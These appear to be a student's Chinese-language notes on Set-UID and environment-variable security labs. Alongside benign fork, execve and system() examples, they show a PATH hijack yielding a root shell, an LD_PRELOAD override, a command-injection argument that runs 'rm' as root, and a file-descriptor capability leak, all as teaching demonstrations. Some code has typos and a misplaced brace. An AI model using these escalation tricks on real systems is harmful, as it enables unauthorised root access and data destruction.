Environment Variable and Set-UID Program Lab
Manipulating environment variables
打印环境变量:
pirntenv env
设置/取消设置环境变量:
export unset
Inheriting environment variables from parents
如果进程需要启动另一个程序的可执行文件,它先fork创建一个自身的副本,
然后由该副本调用exec系统调用,用其他程序覆盖自身。当一个进程调用fork时,它被认为是父进程,新创建的进程称作子进程。fork操作会为子进程创建一个单独的地址空间,子进程拥有父进程所有内存段的副本。
include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
extern char** environ;
void printenv()
{
int i = 0;
while(environ[i] != NULL)
printf("%s\n",environ[i++]);
}
void main()
{
pid_t childPid;
switch(childPid = fork())
{
case 0:
printenv();
exit(0);
default:
//printenv();
exit(0);
}
}
先后取消父进程和子进程的注释,将打印的文本信息保存,
然后对比父进程和子进程的环境变量,结果完全一样。
Environment varibales and execve()
int execve(const char* filename,char* const argv[],char* const envp[]);
execve()用来执行参数filename字符串所代表的文件路径,
参数2是利用指针数组来传递给执行文件,并且需要以空指针结束,
参数3是传递给执行文件的新环境变量数组。
成功不会返回,失败返回-1。
include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
extern char** environ;
int main()
{
char* argv[2];
argv[0] = "/usr/bin/env";
argv[1] = NULL;
execve("/usr/bin/env",argv,NULL);
//execve("/usr/bin/env",argv,environ);
return 0;
}
当execve()函数的参数3:新的环境变量数组,设置为NULL的时候,打印信息为空。
当设置为environ时,打印出环境变量信息。
Environment variables and system()
int system(const char* string);
system()会调用fork()产生子进程,由子进程来调用/bin/sh来执行参数string字符串所代表的命令,
此命令执行完成后随即返回原调用的进程。
如果执行成功则返回子shell的终止状态。
如果fork()失败,返回-1。
如果exec()失败,表示不能执行shell,返回值相当于shell执行了exit。
#include <stdio.h>
#include <stdlib.h>
int main()
{
system("/usr/bin/env");
return 0;
}
编译运行,结果打印环境变量。
Environment variables and Set-UID Programs
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
void main()
{
int i = 0;
while (environ[i] != NULL)
printf("%s\n", environ[i++]);
}
root用户编译,设置Set-UID。
普通用户下,使用export设置环境变量:
PATH
LD_LIBRARY_PATH
运行上面的程序,发现环境变量发生变化
PATH变成刚刚设置的
LD_LIBRARY_PATH没有找到
The PATH Environment variable and Set-UID Programs
int main()
{
system("ls");
return 0;
}
将/bin/sh复制到程序当前目录,命令为ls。
cp /bin/sh ~/ls
设置环境变量PATH=~:$PATH。
root用户编译上面的程序,设置Set-UID。
普通用户运行,结果显示获取到root权限。
The LD_PRELOAD environment variable and Set-UID Programs
#include <stdio.h>
void sleep(int s)
{
printf("i am not sleeping \n");
}
gcc -fPIC -g -c mylib.c
gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
export LD_PRELOAD=./libmylib.so.1.0.1
/* myprog.c */
int main()
{
sleep(1);
return 0;
}
myprog普通程序,普通用户运行
//输出 i am not sleeping
myprog Set-UID root程序,普通用户运行
//输出空
myprog Set-UID root程序,设置root用户环境变量LD_PRELOAD,root用户运行
//输出 i am not sleeping
myprog普通用户1程序,设置普通用户2环境变量LD_PRELOAD,普通用户2运行
//输出空
只有用户自己创建的程序自己去运行,才会使用LD_PRELOAD环境变量,
否则忽略LD_PRELOAD环境变量。
Invoking external programs using system() versus execve()
/* bob.c */
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *v[3];
char *command;
if(argc < 2) {
printf("Please type a file name.\n");
return 1;
}
v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = NULL;
command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
sprintf(command, "%s %s", v[0], v[1]);
// Use only one of the followings.
system(command);
// execve(v[0], v, NULL);
return 0 ;
}
system(command);
bob可以实现删除指定文件。
root用户,编译上述程序,设置Set-UID。
攻击者bob可以通过:
./bob “111.txt;rm 111.txt -rf”
实现将没有写权限的的文件111.txt删除。
因为system()调用了shell,由于本程序设置了Set-UID,
将会以root身份去执行字符串。
execve(v[0],v,NULL);
无法删除指定文件。
./bob “111.txt;rm 111.txt -rf”
execve()将”111.txt;rm 111.txt -rf”当作文件名,
自然显示找不到文件。
Capability Leaking
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
void main()
{
int fd;
/* Assume that /etc/zzz is an important system file,
* and it is owned by root with permission 0644.
* Before running this program, you should creat
* the file /etc/zzz first. */
fd = open("/etc/zzz", O_RDWR | O_APPEND);
if (fd == -1) {
printf("Cannot open /etc/zzz\n");
exit(0);
}
/* Simulate the tasks conducted by the program */
sleep(1);
/* After the task, the root privileges are no longer needed,
it’s time to relinquish the root privileges permanently. */
setuid(getuid()); /* getuid() returns the real uid */
if (fork()) { /* In the parent process */
close (fd);
exit(0);
} else { /* in the child process */
/* Now, assume that the child process is compromised, malicious
attackers have injected the following statements
into this process */
write (fd, "Malicious Data\n", 15);
close (fd);
}
}
root用户编译,设置Set-UID,普通用户运行。
结果成功写入:“Malicious Data\n”
由于文件fd是root权限打开的,导致降权不彻底。
需要遵循最小权限原则,用完就释放权限。
Set-UID Program Vulnerability Lab
实验目的:
理解掌握为什么需要Set-UID程序
理解掌握潜在的安全隐患
问题1
当我们在普通用户下输入su时,会发生什么?
需要我们输入密码,进入root账户
当我们把su程序复制到另一个目录下的时候,运行该目录下的su passwd会发生什么?
输入密码无效,因为复制的程序丢失了Set-UID
问题2
root用户登录,复制/bin/zsh到/tmp,设置s位,切换到普通用户下,运行/tmp/zsh,你会获得root权限吗?
进入zsh,普通用户可以获得root权限
复制/bin/bash试一试?
进入普通bash,bash程序中有Set-UID保护机制
问题3
更改/bin/sh符号链接指向/bin/zsh?
$ su
Password: (enter root password)cd /bin
rm sh
ln -s zsh sh
问题4
PATH环境变量
在问题3的基础上
普通用户下设置环境PATH=/tmp:$PATH
root用户将zsh复制到/tmp,设置s位,重命名为ls
#include <unistd.h>
#include <stdlib.h>
int main()
{
system("ls");
return 0;
}
普通用户编译运行上面的程序,即可获得root shell。
如果sh软链接指向的是bash,结果会怎样?
只能获得普通shell
问题5
system()和execve()
背景:BOB是一个代码审计员,他需要看一家公司的全部文件,但是不能修改任何文件。
为此,系统管理员写了一个Set-UID的小程序,并且给了BOB可执行权限。
这个小程序允许BOB输入一个文件名,让运行/bin/cat查看文件内容。
小程序运行期间,具有root权限,因此可以查看任何文件内容。
又因为这个小程序没有写权限,因为BOB不能修改任何文件。
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char* argv[])
{
char* v[3];
if(argc <2)
{
pirntf("Please type a file name.\n");
return 1;
}
}
v[0] = "/bin/cat";
v[1] = argv[1];
v[2] = 0;
int q = 0;
if(q ==0)
{
char* command = malloc(strlen(v[0])+strlen(v[1])+2);
sprintf(command,"%s %s",v[0],v[1]);
system(command);
}
else
{
execve(v[0],v,0);
}
return 0;
q = 0 如果你是BOB,你可以删除文件吗?
能。程序使用system()函数,调用/bin/sh程序,修改环境变量。
q = 1 如果你是BOB,你可以删除文件吗?
不能。